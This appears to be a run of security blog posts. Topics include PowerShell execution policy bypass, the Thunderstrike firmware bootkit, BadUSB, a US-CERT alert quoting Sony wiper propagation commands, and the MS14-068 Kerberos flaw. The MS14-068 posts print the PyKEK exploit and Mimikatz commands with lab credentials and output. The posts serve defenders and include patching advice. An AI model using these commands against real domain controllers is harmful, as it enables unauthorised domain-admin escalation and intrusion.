Windows Server 2012 & Windows Server 2012 R2 Complete Documentation

Microsoft took all the Windows Server 2012 (& 2012 R2) documentation and posted it as a single PDF!

Version: 1.0
File Name:  WS12_R2_and_WS12_TechNet.pdf
Date Published: 2/18/2014
File Size: 125.9 MB

This download is an Adobe® PDF of the entire contents of the Windows Server 2012 R2 and Windows Server 2012 section of the Microsoft TechNet Library, for the convenience of Windows Server users who have limited Internet access, or require a portable version of the Windows Server 2012 R2 and Windows Server 2012 documentation.

The PDF is 8,709 pages in length.

Highlights of the PDF include the following.
What’s New in Windows Server 2012 R2
What’s New in Windows Server 2012
Technical Scenarios
Install and Deploy Windows Server
Migrate Roles and Features to Windows Server
Secure Windows Server
Manage Privacy in Windows Server
Support and Troubleshoot Windows Server
Server Roles and Technologies
Management and Tools for Windows Server

Download Link:
http://www.microsoft.com/en-us/download/details.aspx?id=41182

 

 

“Hacker” Movies to Watch before the Blackhat Movie

Over the years, there have been lots of “hacker” movies of varying quality.

Here are some good ones to watch before the movie “Blackhat” is out starring Chris Hemsworth. My favorites in bold.

Bonus:
Movie code tumblr

Blackhat-trailer-movie-code-screenshot

HACK THE PLANET!

PowerShell Security: Execution Policy is Not An Effective Security Strategy – How to Bypass the PowerShell Execution Policy

If you have worked with PowerShell recently, you may have run into an Execution Policy message:

c:\temp\Find-PSServiceAccounts.ps1 : File C:\temp\Find-PSServiceAccounts.ps1 cannot be loaded because running scripts
is disabled on this system. For more information, see about_Execution_Policies at
http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ c:\temp\Find-PSServiceAccounts.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess

It’s likely that Microsoft was concerned about another scripting environment where scripts run automatically without built-in controls.
However, any teeth the PowerShell execution policy may have had was significantly reduced during the development process.

From Microsoft TechNet:

It may seem odd to permit users to override an administrator-established value for the execution policy, but remember that the execution policy is intended to help stop unintended script execution. It is not intended to stop skilled users from executing scripts at all, merely to ensure that they do not do so without knowing what they are doing.

The result of this is that the Execution Policy does not provide effective security against a determined attacker with access to computers on your network.

Microsoft TechNet decribes the different options for the PowerShell Execution Policy:

The following execution policies govern scripting in Windows PowerShell:

  • Restricted. Permits interactive commands only (no scripts). This is the default.
  • AllSigned. Permits scripts, but requires a digital signature from a trusted publisher for all scripts and configuration files, including scripts that you write on the local computer.
  • RemoteSigned. Permits scripts, but requires a digital signature from a trusted publisher for all scripts and configuration files that are downloaded from the Internet, including e-mail. A digital signature is not required for scripts that you create on the local computer.
  • Unrestricted. Permits scripts, including unsigned scripts.

By default, the PowerShell exeuction policy is set to Restricted which means no script will run. Technically this is true, but it is trivial to bypass this “protection”.
Continue reading

Thunderstrike: EFI bootkits for Apple MacBooks via Thunderbolt & Option ROMs

Trammell Hudson (@qrs) developed the Thunderstrike exploit based on inherent security issues with the way Apple validates, updates, and boots from the boot ROM. The exploit takes advantage of the fact that Apple allows secure booting without hardware (software checks the ROM, but doesn’t perform a checksum!). Since the Thunderbolt port provides a way to get code running when the system boots, it is possible to modify the boot ROM code.

Update 1/27/2015: Looks like Apple is patching the Boot ROM issue that Thunderstrike exploits in Mac OS X 10.10.2 (Yosemite). When 10.10.2 is available, update ASAP!

Trammell Hudson also did quite a bit of work on Canon camera firmware which led to him releasing Magic Lantern in 2009 which adds additional functionality to Canon cameras. Certainly, he has with a bit of experience with  hardware hacking. 🙂
“Magic Lantern is not a “hack”, or a modified firmware, it is an independent program that runs alongside Canon’s own software. Each time you start your camera, Magic Lantern is loaded from your memory card. Our only modification was to enable the ability to run software from the memory card.”

Trammell’s presentation is fantastic! Watch the video.

He describes Thunderstrike on his website:

Thunderstrike is the name for the Apple EFI firmware security vulnerability that allows a malicious Thunderbolt device to flash untrusted code to the boot ROM. It was presented at 31c3 and the you can read an annotated version of the presentation or watch the hour long video.

Thunderstrike is worse than BadUSB and affects Apple MacBooks (Pro/Air/Retina) with Thunderbolt ports.

Thunderstrike in its current form has been effective against every MacBook Pro/Air/Retina with Thunderbolt that I’ve tested, which is most models since 2011. The proof of concept is hardcoded for the 10,1 system, but the underlying vulnerability seems to be present and is independent of OS X version. Weaponization to attack all the different models is within the means of a dedicated attacker.


Thunderstrike Key Points:

  • Exploiting a Mac with Thunderstrike requires momentary physical access to plug a specially designed dongle into the Thunderbolt port. Think “evil maid” cleaning your hotel room while you are at breakfast.
  • You can have an encrypted hard drive and a boot up password as well as other best practice security methods in place. Thunderstrike bypasses all of these.
  • It can infect Thunderbolt devices in order to propagate. This is one measure that could be leveraged to attack air-gapped networks.
    The Thunderstrike bootkit is also in a position to be able to flash new Option ROMs into attached Thunderbolt devices with its own exploit. Like Stuxnet, this capability allows it to spread virally across air-gap security perimeters through shared peripheral devices. Since so few users need the Option ROMs, the device remains fully functional, despite carrying the malicious payload. Implementing this functionality would need a minor amount of work to weaponize and port to various devices, but an attacker of modest means could easily do so.
  • FileVault keys and passwords for encrypted boot volumes can be extracted.
  • This exploit can install an undetectable and unremovable bootkit that persists through hard drive replacement and OS reinstall.
  • RSA public keys are changed in the boot ROM preventing replacement by Apple’s firmware update programs. Apple software updates can’t remove it.
  • Since it modifies code used to boot the system, every method used to detect it at or after boot time can be subverted.
  • One installed, the Thunderstrike bootkit can not be removed by software. A hardware in-system-programming device is the only way to restore the stock firmware.
  • There is no cryptographic check of the boot ROM (and no hardware TPM chip), only a software-based boot-time crc32. This does not provide security validation only verifies successful flashing of the ROM.
  • This is not a DMA attack – it uses a PCIe Option ROM at boot time to launch the attack against the firmware update system.
  • This is not the “Option ROM” attack, but Thunderbolt Option ROMs can help in flashing new firmware of the attacker’s choosing by circumventing flash security.
    “The Option ROM attacks works like this: a Thunderbolt device that has been flashed with the exploit is plugged in and the system booted. The attacker’s code can hook any EFI or OS functions and do things like bypass firmware passwords, log keystrokes, install kernel backdoors, etc. This is the evil-maid attack described by Snare over two years ago, although this is not Thunderstrike: while an attacker can install a root kit to the drive, the Option ROM was loaded too late from the external device to be able to rewrite the ROM.”
  • Supply chain attack – every MacBook your company purchases could be compromised and you would never know it.

Thunderstrike Overview:

Continue reading

Interesting Windows Computer & Active Directory Well-Known Security Identifiers (SIDs)

The Microsoft Knowledge Base article KB243330 lists the well-known security identifiers in Windows operating systems 

Listed here are the more interesting ones from the article as well as some additional ones.

Local Computer SIDs

SID: S-1-5-2
Name: Network
Description: A group that includes all users that have logged on through a network connection. Membership is controlled by the operating system.

SID: S-1-5-6
Name: Service
Description: A group that includes all security principals that have logged on as a service. Membership is controlled by the operating system.

SID: S-1-5-9
Name: Enterprise Domain Controllers
Description: A group that includes all domain controllers in a forest that uses an Active Directory directory service. Membership is controlled by the operating system.

SID: S-1-5-11
Name: Authenticated Users
Description: A group that includes all users whose identities were authenticated when they logged on. Membership is controlled by the operating system.

SID: S-1-5-18
Name: Local System
Description: A service account that is used by the operating system.

SID: S-1-5-19
Name: NT Authority
Description: Local Service

SID: S-1-5-20
Name: NT Authority
Description: Network Service

New Local Computer SIDs in Windows 8.1, Windows 2012 R2, and earlier operating systems (with KB2871997):

LOCAL_ACCOUNT (S-1-5-113) – any local account
LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP (S-1-5-114)

 

Active Directory Domain SIDs’

Continue reading

BadUSB Exploit: USBDriveBy

Samy posted a simple Mac OSX exploit leveraging the BadUSB vulnerability.

USBdriveby is a device you stylishly wear around your neck which can quickly and covertly install a backdoor and override DNS settings on an unlocked machine via USB in a matter of seconds. It does this by emulating a keyboard and mouse, blindly typing controlled commands, flailing the mouse pointer around and weaponizing mouse clicks.

In this project, we’ll learn how to exploit a system’s blind trust in USB devices, and learn how a $20 Teensy microcontroller can evade various security settings on a real system, open a permanent backdoor, disable a firewall, control the flow of network traffic, and all within a few seconds and permanently, even after the device has been removed.

Read the rest here.

US-Cert’s Alert (TA14-353A): Targeted Destructive Malware

US-Cert has an excellent post on the Sony Malware: Alert (TA14-353A) Targeted Destructive Malware

Overview

US-CERT was recently notified by a trusted third party of cyber threat actors using a Server Message Block (SMB) Worm Tool to conduct cyber exploitation activities recently targeting a major entertainment company. This SMB Worm Tool is equipped with a Listening Implant, Lightweight Backdoor, Proxy Tool, Destructive Hard Drive Tool, and Destructive Target Cleaning Tool.

SMB Worm Tool: This worm uses a brute force authentication attack to propagate via Windows SMB shares. It connects home every five minutes to send log data back to command and control (C2) infrastructure if it has successfully spread to other Windows hosts via SMB port 445. The tool also accepts new scan tasking when it connects to C2. There are two main threads: the first thread calls home and sends back logs (a list of successful SMB exploitations), and the second thread attempts to guess passwords for SMB connections. If the password is correctly guessed, a file share is established and file is copied and run on the newly-infected host.

Listening Implant: During installation of this tool, a portion of the binaries is decrypted using AES, with a key derived from the phrase “National Football League.” Additionally, this implant listens for connections on TCP port 195 (for “sensvc.exe” and “msensvc.exe”) and TCP port 444 (for “netcfg.dll”). Each message sent to and from this implant is preceded with its length, then XOR encoded with the byte 0x1F. Upon initial connection, the victim sends the string, “HTTP/1.1 GET /dns?\x00.” The controller then responds with the string “200 www.yahoo.com!\x00” (for “sensvc.exe” and “msensvc.exe”) or with the string “RESPONSE 200 OK!!” (for “netcfg.dll”). The controller sends the byte “!” (0x21) to end the network connection. This special message is not preceded with a length or XOR encoded.

Lightweight Backdoor: This is a backdoor listener that is designed as a service DLL. It includes functionality such as file transfer, system survey, process manipulation, file time matching and proxy capability. The listener can also perform arbitrary code execution and execute commands on the command line. This tool includes functionality to open ports in a victim host’s firewall and take advantage of universal Plug and Play (UPNP) mechanisms to discover routers and gateway devices, and add port mappings, allowing inbound connections to victim hosts on Network Address Translated (NAT) private networks. There are no callback domains associated with this malware since connections are inbound only on a specified port number.

Proxy Tool: Implants in this malware family are typically loaded via a dropper installed as a service, then configured to listen on TCP port 443. The implant may have an associated configuration file which can contain a configurable port. This proxy tool has basic backdoor functionality, including the ability to fingerprint the victim machine, run remote commands, perform directory listings, perform process listings, and transfer files.

Destructive Hard Drive Tool: This tool is a tailored hard-drive wiping tool that is intended to destroy data past the point of recovery and to complicate the victim machine’s recovery. If the CNE operator has administrator-level privileges on the host, the program will over-write portions of up-to the first four physical drives attached, and over-write the master boot record (MBR) with a program designed to cause further damage if the hard drive is re-booted. This further results in the victim machine being non-operational with irrecoverable data (There is a caveat for machines installed with the windows 7 operating system: windows 7 machines will continue to operate in a degraded state with the targeted files destroyed until after reboot, in which the infected MBR then wipes the drive.) If the actor has user-level access, the result includes specific files being deleted and practically irrecoverable, but the victim machine would remain usable.

Destructive Target Cleaning Tool: This tool renders victim machines inoperable by overwriting the Master Boot Record. The tool is dropped and installed by another executable and consists of three parts: an executable and a dll which contain the destructive components, and an encoded command file that contains the actual destruction commands to be executed.

Network Propagation Wiper: The malware has the ability to propagate throughout the target network via built-in Windows shares. Based on the username/password provided in the configuration file and the hostname/IP address of target systems, the malware will access remote network shares in order to upload a copy of the wiper and begin the wiping process on these remote systems. The malware uses several methods to access shares on the remote systems to begin wiping files. Checking for existing shares via “\\hostname\admin$\system32” and “\\hostname\shared$\system32” or create a new share “cmd.exe /q /c net share shared$=%SystemRoot% /GRANT:everyone, FULL”. Once successful, the malware uploads a copy of the wiper file “taskhostXX.exe”, changes the file-time to match that of the built-in file “calc.exe”, and starts the remote process. The remote process is started via the command “cmd.exe /c wmic.exe /node:hostname /user:username /password:pass PROCESS CALL CREATE”. Hostname, username, and password are then obtained from the configuration file. Afterwards, the remote network share is removed via “cmd.exe /q /c net share shared$ /delete”. Once the wiper has been uploaded, the malware reports its status back to one of the four C2 IP addresses.

Technical and strategic mitigation recommendations are included in the Solution section below.

US-CERT recommends reviewing the Security Tip Handling Destructive Malware #ST13-003.

Description

Cyber threat actors are using an SMB worm to conduct cyber exploitation activities.  This tool contains five components – a listening implant, lightweight backdoor, proxy tool, destructive hard drive tool, and destructive target cleaning tool.

The SMB worm propagates throughout an infected network via brute-force authentication attacks, and connects to a C2 infrastructure.

Impact

Due to the highly destructive functionality of this malware, an organization infected could experience operational impacts including loss of intellectual property and disruption of critical systems.

Solution

Users and administrators are recommended to take the following preventive measures to protect their computer networks:

  • Use and maintain anti-virus software – Anti-virus software recognizes and protects your computer against most known viruses. It is important to keep your anti-virus software up-to-date (see Understanding Anti-Virus Software for more information).
  • Keep your operating system and application software up-to-date – Install software patches so that attackers can’t take advantage of known problems or vulnerabilities. Many operating systems offer automatic updates. If this option is available, you should enable it (see Understanding Patches for more information).
  • Review Security Tip Handling Destructive Malware #ST13-003 and evaluate their capabilities encompassing planning, preparation, detection, and response for such an event.
  • Review Recommended Practices for Control Systems, and Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies (pdf).

The following is a list of the Indicators of Compromise (IOCs) that can be added to network security solutions to determine whether they are present on a network.

Read the rest: Alert (TA14-353A) Targeted Destructive Malware

 

Detecting MS14-068 Kerberos Exploit Packets on the Wire aka How the PyKEK Exploit Works

MS14-068 References:

This post shows the packet captures I performed using WireShark on the Domain Controllers during stage 1 and stage 2 of the attack.
Microsoft KB3011780 patches this issue.

Here are the full packet captures:

Stage 1 – Using PyKEK to inject a forged PAC into a valid TGT: ADSecurityOrg-MS14068-Exploit-KRBPackets

Stage 2 – Using Mimikatz to leverage the forged TGT into the user session & connect to the unpatched Domain Controller’s admin$ share: ADSecurityOrg-MS14068-Exploit-KRBPackets-TGTInjection-And-DC-AdminShare-Access

Note: Using the information posted here, it may be possible to create a Snort signature that can identify active MS14-068 exploitation on a network by looking at the TGS-REQ Kerberos packet that states “include-pac: False” (additionally, the AS-REQ packet earlier in the conversation also states “include-pac: False”)

Stage 1 Attack Packets: PyKEK requests and modifies a TGT

.The Python script performs a TGT request (Kerberos Authentication Service Request aka AS-REQ) and instead of requesting a TGT with a PAC (default AS-REQ), PyKEK requests a TGT with no PAC from the Domain Controller.

Once the script receives the valid TGT without a PAC from the DC, the script generates a PAC (with the group membership listed above) packages it in encrypted authorization data as part of a TGS request to the DC (Kerberos Ticket Granting Service Request aka TGS-REQ) to obtain another TGT (a new one with the PyKEK generated PAC).
“The vulnerable KDC will verify it with MD5 and give you another TGT with a PAC in it”.
This is the TGT that PyKEK saves to the ccache file used for stage 2.

Since PyKEK communicates with the Domain Controller for valid TGTs, the TGT is a valid ticket (other than the forged PAC it includes). To summarize, there are two TGTs involved in the process: the original one without a PAC as a result of the first AS-REQ and a second one the DC delivers in the TGS-REP with the PyKEK generated PAC.

NOTE: The TGT is technically not modified by PyKEK since it is encrypted by the KDC account (KRBTGT). The process the script uses results in a valid TGT with the PAC PyKEK created that is accepted by an unpatched DC. The genius part of this is that PyKEK uses the Kerberos AS & TGS exchanges to forge a PAC and have the DC place it into a new user TGT. Then when the TGT is presented later on in Stage 2 for a valid TGS, the PAC is accepted and its values carried on into the new TGS for a Kerberos service in AD.

From the post entitled “Exploiting MS14-068 Vulnerable Domain Controllers Successfully with the Python Kerberos Exploitation Kit (PyKEK)

c:\Temp\pykek> ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org

[+] Building AS-REQ for adsdc02.lab.adsecurity.org… Done!
[+] Sending AS-REQ to adsdc02.lab.adsecurity.org… Done!

Stage 1 Packet #1: TGT request (AS-REQ) with no PAC.

Continue reading

Exploiting MS14-068 Vulnerable Domain Controllers Successfully with the Python Kerberos Exploitation Kit (PyKEK)

MS14-068 References:

After re-working my lab a bit, I set about testing the MS14-068 POC that Sylvain Monné posted to GitHub a few days ago. I configured a Windows 7 workstation with Python 2.7.8 and downloaded the PyKEK zip as well as the Mimikatz zip file.

The MS14-068.py Python script (part of PyKEK) can be run on any computer that has connectivity to the target Domain Controller.

I ran PyKEK against a Windows Server 2008 R2 Domain Controller not patched for MS14-068 using Kali Linux as well as a domain-joined Windows 7 workstation.

Note: All exploit stages can be executed without an admin account and can be performed on any computer on the network (including computers not domain-joined).
Microsoft KB3011780 patches this issue.

Updates:

12/13 Update: Added a section on How Does PyKEK Get a Forged PAC  into a TGT? with information on how PyKEK generates the forged TGT (valid TGT with a forged PAC).
12/8 Update: I added a Mitigation section at the end of the post as well as events from a patched Domain Controller when attempting to exploit (in the events section).
12/14 Update: I successfully ran the exploit using a non-domain joined Windows computer on the network without admin credentials.

MS14-068 Exploit Issues with Windows Server 2012 & 2012/R2:

I also stood up one Windows Server 2012 and one Windows Server 2012 R2 Domain Controller in the same site as the two unpatched Windows Server 2008 R2 DCs. None of the Domain Controllers in my lab.adsecurity.org AD Forest are patched for MS14-068.
After successfully running the PyKEK script to generate the TGT, I was unable to get a TGS successfully to exploit the 2008 R2 DC. After shutting down the 2012 & 2012R2 DCs, I could use the forged TGT to get a TGS and access the targeted 2008 R2 DC (ADSDC02).
PyKEK is only sometimes successful when there is an unpatched DC and a patched DC in the same Active Directory site. The same behavior is noted when there is an unpatched Windows Server 2008 R2 DC and a Windows Server 2012 DC in the same site. Successful exploit depends on what DC PyKEK connects to.

Staging the Attack:

The targeted user account in this post is “Darth Sidious” (darthsidious@lab.adsecurity.org). Note that this user is a member of Domain Users and a Workstation group. This group membership stays the same throughout the activity in this post (I took the screenshot after exploiting the DC). Assume that this user is an authorized user on the network and wants to get Domain Admin rights to perform nefarious actions. The user already has a valid domain account and knows the password for the domain. This is no different from an attacker spearphishing this user and stealing their credentials as they get local admin rights on the computer.

ADS-DC-DarthSidious-Account-MemberOf-TabOnce the attacker has valid domain credentials (and local admin rights if Python install is required) on a computer on the network, they can leverage PyKEK to generate a forged TGT by performing standard communication with the target (unpatched) DC.

The PyKEK ms14-068.py Python script needs some information to successfully generate a forged TGT:

  • User Principal Name (UPN) [-u]: darthsidious@lab.adsecurity.org
  • User Password [-p]: TheEmperor99!
  • User Security IDentifier (SID) [-s]: S-1-5-21-1473643419-774954089-222232912
    7-1110
  • Targeted Domain Controller [-d]: adsdc02.lab.adsecurity.org

The SID can be found by running the “whoami” command while logged in as the target user.

DarthSidiousWhoAmI

You can also get this information from PowerShell by running :

 [Security.Principal.WindowsIdentity]::GetCurrent( )

ADS-PowerShell-WhoAMI-DS

As I noted in my previous post on PyKEK, the following group membership is included in the forged TGT:

  • Domain Users (513)
  • Domain Admins (512)
  • Schema Admins (518)
  • Enterprise Admins (519)
  • Group Policy Creator Owners (520)


Phase 1: Forging a TGT:

Here’s a screenshot of the exploit working in Kali Linux (1.09a)

Continue reading

MS14-068 Kerberos Vulnerability Privilege Escalation POC Posted (PyKEK)

As noted in previous posts on MS14-068, including a detailed description, a Kerberos ticket with an invalid PAC checksum causes an unpatched Domain Controller to accept invalid group membership claims as valid for Active Directory resources. The MS14-068 patch modifies KDC Kerberos signature validation processing on the Domain Controller.

This issue is FAR worse than the Kerberos “Golden Ticket” issue since an attacker doesn’t need the domain Kerberos service account (KRBTGT) NTLM password hash (only accessible from a Domain Controller with domain-level admin privileges) for exploit. The attacker simply modifies the existing TGT by changing the group membership to have access to everything in Active Directory and creates a specific invalid checksum for the PAC signature causing the DC to validate it.

If you haven’t installed the MS14-068 patch (released on November 18th, 2014), the exploit code is now available for all to use. Microsoft KB3011780 patches this issue.
Patch your Domain Controllers Now!

MS14-068 References:

UPDATE: I have successfully tested this MS14-068 exploit in my lab and posted detailed information on how to exploit Kerberos on vulnerable Domain Controllers including WireShark pcaps and DC event logs.

Sylvain Monné tweeted about his Python code (Python Kerberos Exploitation Kit aka PyKEK) late Thursday, December 4th, stating it can be used to exploit the Kerberos vulnerability patched in MS14-068.

MS14068-POC-TweetNote that the POC is effective against Domain Controllers running Windows Server 2008 R2 and earlier. Microsoft noted in the patch release that “Windows Server 2012 impact is less vulnerable than previous Windows versions (i.e., it’s much harder to exploit on Windows Server 2012/2012R2)

The POC is now in MetaSploit.

POC usage example:

ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
  [+] Building AS-REQ for dc-a-2003.dom-a.loc... Done!
  [+] Sending AS-REQ to dc-a-2003.dom-a.loc... Done!
  [+] Receiving AS-REP from dc-a-2003.dom-a.loc... Done!
  [+] Parsing AS-REP from dc-a-2003.dom-a.loc... Done!
  [+] Building TGS-REQ for dc-a-2003.dom-a.loc... Done!
  [+] Sending TGS-REQ to dc-a-2003.dom-a.loc... Done!
  [+] Receiving TGS-REP from dc-a-2003.dom-a.loc... Done!
  [+] Parsing TGS-REP from dc-a-2003.dom-a.loc... Done!
  [+] Creating ccache file 'TGT_user-a-1@dom-a.loc.ccache'... Done!

According to the PyKEK documentation, the modified TGT now has the following groups included:

  • Domain Users (513)
  • Domain Admins (512)
  • Schema Admins (518)
  • Enterprise Admins (519)
  • Group Policy Creator Owners (520)

Since the TGT is signed by the KDC Service (KRBTGT domain account), it is valid and can be used to access Active Directory resources based on the group membership (which was forged and now validated by the DC).

At this point, one can use Mimikatz to use the new TGT to connect to resources.

Two commands are all that’s necessary to exploit:

python.exe ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc
mimikatz.exe "kerberos::ptc TGT_user-a-1@dom-a.loc.ccache" exit`

 

Requirements:

The bar is fairly low in order to exploit MS14-068. Effectively admin rights on a single domain-joined computer is all that’s needed. The other items aren’t that difficult once this access is attained.

  • Admin access to a computer joined to the target domain
  • Access to domain credentials – a domain user account is fine.
  • Python exe’s on the computer.
  • Mimikatz on the computer

 

References: